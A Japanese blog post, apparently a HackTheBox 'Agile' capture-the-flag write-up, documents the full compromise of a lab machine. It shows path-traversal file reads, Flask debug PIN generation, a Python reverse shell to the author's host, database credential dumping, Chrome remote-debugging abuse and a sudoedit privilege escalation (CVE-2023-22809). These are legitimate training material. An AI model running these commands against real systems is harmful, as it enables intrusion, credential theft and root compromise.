5
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

HackTheBox Agile WriteUp

Last updated at Posted at 2023-08-06

今回は、HackTheBoxのMediumマシン「Agile」のWriteUpです!
名前からはAgile/CICD Workflowしか思い浮かばないですが、どのようなマシンなのでしょうか。
image.png
グラフは、よく見るMediumの形をしていますね。
評価も高いので学びが多そうです!

HackTheBoxってなに?という方はこちらの記事を見てみてください!一緒にハッキングしましょう~。

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Agile

侵入

では、まずはいつものようにポートスキャンから行いましょう。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ sudo nmap -n -Pn -v -T4 -p- -sS --min-rate=1000 -A 10.10.11.203 -oN nmap.log

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_  256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

22番と80番を確認しました。
80番を確認したので、実際にアクセスしてみましょう。
image.png
パスワードを管理するサイトが表示されました。
画面の右上を見ると、Loginがあるので、押下してみましょう。
image.png
ログイン画面が表示されました。
何回かSQLインジェクションの発火を試みましたが、発火しなかったため、脆弱ではないようです。

ログイン画面をよく見てみると、Loginのほかに、Registerという文字があることがわかります。こちらも押下してみます。
image.png
新規登録ページが表示されました。
適当にユーザを登録してみましょう。
image.png
ホーム画面が表示されました。Add a passwordというボタンがあるので、passwordを追加することが出来そうです。実際に追加してみましょう。
image.png
ボタンを押下すると、siteUsernameを入力できるようになるので、testと入力しておきます。パスワードは自動で入力されるので、この状態で一番左の保存のマークを押下します。
image.png
パスワードが保存されました。
追加の流れは確認できたので、次は横にあるExportを見てみたいと思います。ボタンを押下しましょう。
image.png
CSVファイルがダウンロードされ、ファイル内に先ほど作成した認証情報が記述されています。
ここまでがパスワード管理サイトの一連の流れのようです。

Local File Inclusion(LFI)

一通り確認しましたが、サイトを見ているだけでは特に悪用できそうな点は見つかりません。こういう時は探索を行い、新たなディレクトリやサブドメインを見つけます。
まずは、ディレクトリ探索を行います。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ gobuster dir -u http://superpass.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -e -o gobuster.log
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://superpass.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2023/08/04 09:37:03 Starting gobuster in directory enumeration mode
===============================================================
http://superpass.htb/download             (Status: 302) [Size: 249] [--> /account/login?next=%2Fdownload]
http://superpass.htb/static               (Status: 301) [Size: 178] [--> http://superpass.htb/static/]
http://superpass.htb/vault                (Status: 302) [Size: 243] [--> /account/login?next=%2Fvault]
Progress: 20465 / 20477 (99.94%)
===============================================================
2023/08/04 09:43:03 Finished
===============================================================

downloadというディレクトリを発見しました!
実際にアクセスしてみましょう。
image.png
エラーが出力されました。/tmp/Noneというファイルが見つからないようです。
Tracebackには、エラーの詳細が書かれています。確認してみると、一番下のエラーが気になりました。

File "/app/app/superpass/views/vault_views.py", line 102, in download
with open(f'/tmp/{fn}', 'rb') as f:

このエラーでは、/tmpディレクトリ内にあるfnで指定されたファイルを開こうとしていることが分かります。
今回のリクエストではdownloadにアクセスしただけで、fnの指定は行っていません。このことから、もしかするとfnを指定しなかったことでNoneというファイルが選択されたのではないかと想定することができます。
この想定を確実にするために、download?fn=testのようにパラメータを追加し、再度リクエストを送信します。
image.png
次は、/tmp/testが見つからないというエラーが表示されました!
これにより、ファイルをこちら側で指定することが可能であると分かりました。ファイルを指定できるといえば真っ先に「LFI」が浮かび上がります。
ディレクトリは/tmpだと分かっているので、LFIに脆弱な場合、../etc/passwdでファイルを取得することが出来そうです。リクエストを送信してみましょう。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../etc/passwd
root:x:0:0:root:/root:/bin/bash
corum:x:1000:1000:corum:/home/corum:/bin/bash
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash

passwdファイルが出力されました!ホームディレクトリを持つユーザ以外は省略していますが、今回は3人も確認できているので、横移動が多いかもしれませんね。

では、LFIに脆弱であることがわかったので、他のファイルを確認していきます。どのようなファイルを出力させていくかです。ここで思い出してほしいのは、先ほどのエラー文です。

File "/app/app/superpass/views/vault_views.py", line 102, in download
with open(f'/tmp/{fn}', 'rb') as f:

パラメータの存在を教えてくれたこのエラー文ですが、パラメータだけでなくvault_views.pyというファイルの存在も確認することができます。
では、このファイルの内容を見てみましょう。量がそこそこ多いので記事では重要な部分のみを書き出します。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../app/app/superpass/views/vault_views.py

import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password

@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}

コードを見ることで、/vault/row/<id>にリクエストが行われた際、パスで指定されたidと現在のユーザのidが一致した場合にパスワードが出力されることがわかりました。現在のidを他のユーザのidで指定することができれば、他のユーザのパスワードを取得することが出来そうです。

注意
リリースから一週間後に、この脆弱性は修正されてしまいました。
修正前は、idを変更することでcorumユーザのパスワードを取得可能でした。

Flask Debug Execution

すでにWebにアクセスしていると気付くかもしれませんが、このアプリケーションではFlaskが実行されています。また、エラーの出力からデバッグモードで実行されていることもわかります。
再度、エラーの詳細を確認してみると、カーソルを置いた行にコンソールのアイコンが表示されることが分かります。適当に押下してみましょう。
image.png
PINを入力するポップアップが表示されました。適切なPINを入力し、コンソールへ移ることができればシェルを取得することが出来そうです。
まず、Flaskがどのような処理でPINを生成するのか調べてみます。とりあえず、私の好きなHackTricksでFlask PINと調べると、有用な記事を発見しました。

記事にはPINの生成に必要な情報が挙げられています。改めて確認しておきます。

probably_public_bits = [
    username,
    modname,
    getattr(app, '__name__', getattr(app.__class__, '__name__')),
    getattr(mod, '__file__', None),
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]

それぞれの情報を一つずつ求めていきましょう。
まずは、usernameです。こちらはenvironファイルに対してLFIを使用し、求めることが可能です。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../proc/self/environ --output environ
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   260  100   260    0     0    780      0 --:--:-- --:--:-- --:--:--   783

outputを指定する必要があります。curlがうまく実行出来たら、内容を確認しましょう。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$  cat environ 
LANG=C.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binHOME=/var/wwwLOGNAME=www-dataUSER=www-dataINVOCATION_ID=a319c6b59e8f46f1b65c77e874545cb1JOURNAL_STREAM=8:32951SYSTEMD_EXEC_PID=1093CONFIG_PATH=/app/config_prod.json         

usernameはwww-dataであることが分かりました。
では、次にmodnamegetattr(app, '__name__', getattr(app.__class__, '__name__'))ですが、こちらはflask.appFlaskだと決まっているようです。
では、4番目のgetattr(mod, '__file__', None)ですが、flaskディレクトリ内の絶対パスを指定するようです。
こちらはエラー画面に表示されているapp.pyへのフルパスを指定します。
再度情報を整理しておきましょう。

probably_public_bits = [
    'www-data',
    'flask.app',
    'Flask',
    '/app/venv/lib/python3.10/site-packages/flask/app.py',
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]

ここまででprobably_public_bitsの情報は求めることができました。
この調子でprivate_bitsの情報も求めていきましょう。

まず最初のstr(uuid.getnode())です。ここにはMACアドレスの10進数を指定する必要があるようです。/sys/class/net/<Interface>/addressから求めることが可能なので、curlでリクエストを送ってみましょう。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../sys/class/net/eth0/address 
00:50:56:b9:84:6f

MACアドレスが出力されました!
10進数を計算します。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ python3 -c 'print(0x005056b9846f)'
345052382319

10進数が計算できました!
それでは、最後にget_machine_id()を求めていきます。これは関数そのままですが、ターゲットのマシンIDを指定します。/etc/machine-idから求めることが可能です。curlを実行しましょう。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../etc/machine-id
ed5b159560f54721827644bc9b220d00

マシンIDも取得することが出来ました。しかし、これだけでは機能しません。HackTricksにも書いてありますが/proc/self/cgroupの最後の/以降の値が必要です。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../proc/self/cgroup
0::/system.slice/superpass.service

最後の/以降の値、つまりsuperpass.serviceを先ほどのマシンIDと連結させることで機能します。
これですべての情報が揃ったので、HackTricksの一番下にあるスクリプトを参考にし、必要な箇所を書き換えていきます。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ cat pin.py
~~~
probably_public_bits = [
    'www-data',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '345052382319', # str(uuid.getnode()),  /sys/class/net/ens33/address
    'ed5b159560f54721827644bc9b220d00superpass.service' # get_machine_id(), /etc/machine-id
]
~~~

スクリプトが用意できたので、実際にPINを生成しましょう。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ python3 pin.py                                      
225-435-098

PINが生成できました。では、コンソールにアクセスできるか試してみましょう。
image.png
PINが通りませんでした。。。
どこか間違えていないか何度も確認しましたが、特に間違えている部分はないように見えます。

ここで私は一度Agileの攻略から離れ、かなりの時間が経ちました。
分からない状態が続いていたのですが、惜しいところまで攻略できていそうだという認識から攻略を再開しました。

では、何を試すのかですが、私はデフォルトで指定されていた部分に違いがあるのではないかと予想し、probably_public_bitsで指定した2番目の値と3番目の値を可能性があるものに変更し続けました。
正直、気が遠くなるような作業でしたが、この行動が次にステップに繋がりました。
私はエラー文にline <number> in wsgi_appという出力があることを確認し、3番目の値をwsgi_appへ変更しました。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ cat pin.py          
~~~
probably_public_bits = [
    'www-data',# username
    'flask.app',# modname
    'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '345052382319', # str(uuid.getnode()),  /sys/class/net/ens33/address
    'ed5b159560f54721827644bc9b220d00superpass.service' # get_machine_id(), /etc/machine-id
]
~~~

変更後、PINを生成します。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ python3 pin.py                                      
126-024-737

生成できたので、PINを入力し、コンソールへアクセスできるか試してみます。
image.png
写真では分かりにくいかもしれませんが、console readyという表示がされており、アクセスできたことが分かります!!この瞬間はかなり嬉しかったです。

それでは、コマンドを実行していきましょう!
まずは、試しにidコマンドを実行してみます。

[console ready]
>>> os.popen('id').read()
'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n'

idコマンドの実行がうまくいきました!

www-dataとしてのシェル

それでは、本命のリバースシェルを取得してきたいと思います。
実行前に、Kali側で待ち受けておきます。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ nc -lvnp 2121
listening on [any] 2121 ...

待ち受けが完了したので、コマンドを実行します。
今回は、FlaskなのでPythonのリバースシェルコマンドを実行させます。

>>> import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",2121));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

待ち受け側を確認してみましょう。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ nc -lvnp 2121
listening on [any] 2121 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.203] 48874
$ whoami
www-data

侵入に成功しました!!普通に泣きそうでした。
流石に見にくいので、シェルのアップグレードは忘れずに行っておきましょう。

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
(venv) www-data@agile:/app/app$

横移動

正直侵入だけでもかなりの体力を消耗しましたが、続けて横移動、権限昇格も頑張ります。
まずは、改めてユーザの存在を確認します。

(venv) www-data@agile:/app/app$ ls -l /home
total 12
drwxr-x--- 8 corum     corum     4096 Feb  8 16:29 corum
drwxr-x--- 2 dev_admin dev_admin 4096 Feb  8 16:29 dev_admin
drwxr-x--- 5 edwards   edwards   4096 Feb  8 16:29 edwards

先ほどLFIで確認したユーザと同じユーザが存在しています。
とりあえず、それぞれのユーザが保有するファイルを見てみましょう。
まずは、dev_adminからです。

(venv) www-data@agile:/app$ find / -user dev_admin 2>/dev/null
/home/dev_admin
/app/app-testing/tests/functional/creds.txt
/app/config_test.json
/app/config_prod.json

まだ、一人目ではありますが、この出力には気になる点があります。
それは、/app配下に所有するファイルがあることです。もしかすると、www-dataユーザにも権限があるかもしれません。それぞれのファイルの権限を見てみると、config_prod.jsonに権限があることが分かりました。

(venv) www-data@agile:/app$ ls -l
total 24
drwxr-xr-x 5 corum     runner    4096 Feb  8 16:29 app
drwxr-xr-x 9 runner    runner    4096 Feb  8 16:36 app-testing
-r--r----- 1 dev_admin www-data    88 Jan 25  2023 config_prod.json
-r--r----- 1 dev_admin runner      99 Jan 25  2023 config_test.json
-rwxr-xr-x 1 root      runner     557 Aug  6 08:27 test_and_update.sh
drwxrwxr-x 5 root      dev_admin 4096 Feb  8 16:29 venv

設定ファイルのようです。認証情報がないか見てみましょう。

(venv) www-data@agile:/app$ cat config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}

mysqlの認証情報を発見しました!

mysql

それでは、実際にアクセスしてみましょう。

(venv) www-data@agile:/app$ mysql -u superpassuser -p
Enter password: dSA6l7q*yIVs$39Ml6ywvgK

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 76
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

アクセスに成功しました!
ここからはいつものように列挙を進めていきます。まずはDBを確認しましょう。

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| superpass          |
+--------------------+
3 rows in set (0.00 sec)

superpassというデータベースが存在しています。
DBを選択しましょう。

mysql> use superpass
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

データベースの選択ができたので、テーブルを確認します。

mysql> show tables;
+---------------------+
| Tables_in_superpass |
+---------------------+
| passwords           |
| users               |
+---------------------+
2 rows in set (0.01 sec)

かなり気になる2つのテーブルが表示されました!passwordsテーブルを見てみましょう。

mysql> select * from passwords;
select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date        | last_updated_data   | url            | username | password             | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
|  3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf     | 762b430d32eea2f12970 |       1 |
|  4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com    | 0xdf     | 5b133f7a6a1c180646cb |       1 |
|  6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog        | corum    | 47ed1e73c955de230a1d |       2 |
|  7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster   | corum    | 9799588839ed0f98c211 |       2 |
|  8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile          | corum    | 5db7caa1d13cc37c9fc2 |       2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
5 rows in set (0.00 sec)

複数の認証情報が出力されました!
一番気になるのは、urlがagileとなっているcorumユーザの認証情報です。SSH接続で使用できるか試してみましょう。

corumとしてのシェル

それでは、取得した認証情報を使用し、SSH接続を行いましょう。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ ssh corum@10.10.11.203          
corum@10.10.11.203s password: 
corum@agile:~$ whoami
corum

横移動に成功しました!

corum@agile:~$ ls -l
total 4
-rw-r----- 1 root corum 33 Aug  4 01:48 user.txt

フラグは、corumユーザで取得することができました!

横移動

先ほども確認しましたが、今回は3人のユーザが存在するため確定でまだ横移動が必要だと思います。
ちなみに、sudo -lを実行することはできませんでした。

corum@agile:/home$ sudo -l
[sudo] password for corum: 
Sorry, user corum may not run sudo on agile.

では、それぞれのユーザが保有するファイルを検索するところから始めてみましょう。
まずは、dev_adminです。

corum@agile:/home$ find / -user dev_admin 2>/dev/null
/home/dev_admin
/app/app-testing/tests/functional/creds.txt
/app/config_test.json
/app/config_prod.json

次に、edwardsです。

corum@agile:/home$ find / -user edwards 2>/dev/null
/home/edwards

それぞれ調べてみましたが、全て読み込み権限がありませんでした。
では、次に何を調べるかですが、実行されているサービスを確認することにしました。
netstatを実行してみましょう。

corum@agile:~$ netstat -lntp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:57103         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5555          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:41829         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:57103               :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -         

新たに、多くのポートを確認できました。MySQLにアクセスできるかと思い、認証を試しましたが、アクセスすることはできなかったので、41829という珍しいポートに目を向けてみます。
詳細を確認するため、ps fauxを実行してみましょう。

corum@agile:~$ ps faux | grep 41829
runner      1805  0.7  2.6 34023456 104128 ?     Sl   02:10   0:00                      \_ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.Dm0AnU --window-size=1420,1080 data:,
runner      1869  2.5  3.9 1184764352 158988 ?   Sl   02:10   0:01                          |       \_ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1812 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1691113657820345 --launch-time-ticks=1344602116 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,12316113268408036803,4134764861594454744,131072 --disable-features=PaintHolding
corum       1883  0.0  0.0   4020  1996 pts/0    S+   02:10   0:00              \_ grep --color=auto 41829

どうやらGoogle Chromeのリモートデバッグを行うプロセスのようです。
Exploit Notesで、情報を調べてみると、かなり有用な記事を見つけました。

Exploit Notesによると、SSHでポートフォワーディングを行い、network targetにポートを登録することでターゲット上のブラウザを見ることができるようです。
では、手順に沿って実行してみます。まずはSSHポートフォワーディングを行います。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ ssh corum@10.10.11.203 -L 41829:127.0.0.1:41829

これで、ポートフォワーディングは完了です。
次に、network targetにポートを登録していきます。
image.png
Doneを押下すると、ポートの登録が完了します。
ポートを登録することができたら、Target欄のinspectを押下しましょう。ターゲットのブラウザが見えるはずです!
image.png
このブラウザはこちらから操作することが可能です。そしてよく見ると、右上にLogoutが表示されており、現在ログインしている状況であることが分かります。。
つまり、Vaultにアクセスすることで、既に登録されているパスワードを見ることが出来そうです!押下してみましょう。
image.png
edwardsユーザのパスワードを発見しました!

edwardsとしてのシェル

では、取得したパスワードを使用しSSH接続を行いましょう!

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ ssh edwards@10.10.11.203
edwards@10.10.11.203s password: 
edwards@agile:~$ whoami
edwards

横移動成功です!

権限昇格

ネタバレとなってしまいますが、dev_adminユーザのシェルは取得する必要はありませんでした。
いよいよラストステージです。頑張っていきましょう!
まずは、sudo -lを実行します。

edwards@agile:~$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

sudoeditをdev_adminの権限で実行できるようです。dev_adminの権限ですが、権限昇格に繋がりそうな匂いがかなりします。なので、sudoeditの脆弱性を探してみました。するとこちらもExploit Notesに有用な情報がありました。

バージョンにもよりますが、どうやら、EDITORという環境変数にvimとファイル名を指定することで書き込むことが可能になるようです。Exploit Notesでは、/etc/sudoersを指定されていますが、今回のsudo権限は、dev_adminのものなので、/etc/sudoersを指定することはできません。
では、どのようなファイルであればいいのかというと、「dev_adminが書き込み権限を持ち、rootにより実行されているファイル」です。

CVE-2023-22809

そのようなファイルが果たしてあるのでしょうか?と思ってしまいますが、pspy64を使用し、探してみましょう。
ターゲットにpspy64を送るために、サーバを立ち上げます。

🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ python3 -m http.server 80              
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

立ち上げに完了したので、ターゲット側でwgetを実行します。

edwards@agile:~$ wget 10.10.14.5/pspy64
--2023-08-04 04:11:59--  http://10.10.14.5/pspy64
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                        100%[==============================================>]   2.96M   762KB/s    in 4.0s    

2023-08-04 04:12:04 (762 KB/s) - ‘pspy64’ saved [3104768/3104768]

ダウンロードさせることができたら、実行権限を付与します。

edwards@agile:~$ chmod +x pspy64

これで準備は完了です!pspy64を実行しましょう。

edwards@agile:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

2023/08/04 04:17:01 CMD: UID=0     PID=5545   | /usr/sbin/CRON -f -P 
2023/08/04 04:17:01 CMD: UID=0     PID=5544   | /bin/bash -c source /app/venv/bin/activate 

定期的に実行されているタスクとして、root権限でactivateが実行されています!
では、書き込み権限があるか見てみましょう。

edwards@agile:~$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Aug  4 04:21 /app/venv/bin/activate

書き込み権限があります!
このファイルを環境変数として指定することで、権限昇格が行えそうです!
まずは、環境変数を設定します。

edwards@agile:~$ export EDITOR="vim -- /app/venv/bin/activate"

設定ができたら、sudo sudoeditを実行します。

edwards@agile:~$ sudo -u dev_admin sudoedit /app/config_test.json

実行すると、vimが立ち上がり、ファイルの編集が可能になります。

# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly

deactivate () {
    # reset old environment variables
    if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
        PATH="${_OLD_VIRTUAL_PATH:-}"
        export PATH
        unset _OLD_VIRTUAL_PATH
    fi
    if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ] ; then
        PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"
        export PYTHONHOME
        unset _OLD_VIRTUAL_PYTHONHOME
    fi

状況を説明すると、先ほど指定したactivateという名前のスクリプトをvimで開いています。本来、sudoeditでconfig_test.jsonを指定しましたが、EDITORという環境変数に書き込むことで、コマンドとして実行されました。
ここまでくれば、やりたい放題です。今回は/bin/bashにSUIDを付与することで、権限昇格を行いたいと思います。SUIDを付与するコマンドをコメントの下に追加します。

# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly

chmod u+s /bin/bash # add command

deactivate () {
    # reset old environment variables
    if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
        PATH="${_OLD_VIRTUAL_PATH:-}"
        export PATH
        unset _OLD_VIRTUAL_PATH
    fi
    if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ] ; then
        PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"
        export PYTHONHOME
        unset _OLD_VIRTUAL_PYTHONHOME
    fi

入力できたら、保存して終了します。
あとは、少し時間をおいてスクリプトが実行されるのを待ちましょう!

rootとしてのシェル

それでは、SUIDが付与できたか見てみましょう。

edwards@agile:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash

付与されています!
では、あとはbashを実行するだけです!

edwards@agile:~$ bash -p
edwards@agile:~# whoami
root

権限昇格成功です!

edwards@agile:/root# ls -l
total 20
drwxr-xr-x 5 root root 4096 Feb  8 16:29 app
-rwxr-xr-x 1 root root   31 Jan 25  2023 clean.sh
-rw-r----- 1 root root   33 Aug  4 01:48 root.txt
-rw-r--r-- 1 root root 2293 Feb 28 16:50 superpass.sql
-rw-r--r-- 1 root root 3274 Feb  6 17:06 testdb.sql

フラグも取得し、完全攻略達成です!

攻略を終えて

攻略を終えた正直な感想としては、「難しすぎる」ということです。とくに正しい値のPINを生成するフェーズは一度攻略を中断するレベルで、生成に成功したときは泣きたいほど喜んだことを覚えています笑
こんなに難しかったにも関わらず、グラフが普通の難易度であるのは、恐らくですがIDORのパッチが適用される前に認証情報を取得してしまった人が多いからだと思います。確かに修正が入る前のAgileはPINを生成せずに攻略できるので、一段階と言わず二段階ほどレベルが落ちる気がします。絶望との闘いでしたが、試せるところを諦めずに試し続けたことが攻略につながったのかなと思います。
今回のマシンの最初の入り口としては、LFIになります。やはりLFIにより非公開であるはずの情報が見られてしまうというのは大きな被害につながるので、開発段階から十分に気を付ける必要がありますね。また、今回はMySQLにアクセスし認証情報を取得できたことで横移動が可能となりました。MySQLの認証情報は仕方がないとしても、DBに保存する認証情報は暗号化を行うなど随所でのセキュリティ対策を意識する必要がありそうです。
今後もHackTheBoxのWriteUpを投稿するので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました~!

5
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?